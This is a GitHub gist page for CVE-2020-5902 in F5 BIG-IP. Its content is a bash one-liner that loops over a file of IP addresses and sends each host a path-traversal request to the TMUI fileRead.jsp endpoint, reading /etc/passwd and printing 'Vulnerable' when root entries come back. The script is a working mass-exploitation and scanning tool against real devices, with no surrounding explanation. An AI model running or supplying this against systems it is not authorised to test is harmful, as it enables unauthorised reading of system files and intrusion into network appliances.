Skip to content

Instantly share code, notes, and snippets.

@Sy3Omda
Created July 9, 2020 11:50
Show Gist options
  • Save Sy3Omda/478847b666e2bcdf94f2971cbcdc4d6a to your computer and use it in GitHub Desktop.
Save Sy3Omda/478847b666e2bcdf94f2971cbcdc4d6a to your computer and use it in GitHub Desktop.
Big-IP F5 CVE-2020-5902
while read ip ; do if [[ $(curl -skL -m 1 --no-keepalive --connect-timeout 2 "https://$ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -io "root:x") == "root:x" ]]
then
echo -e "\033[0;31m""Vulnerable Big-IP in ==> $ip""\033[0m"
fi ; done < $1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment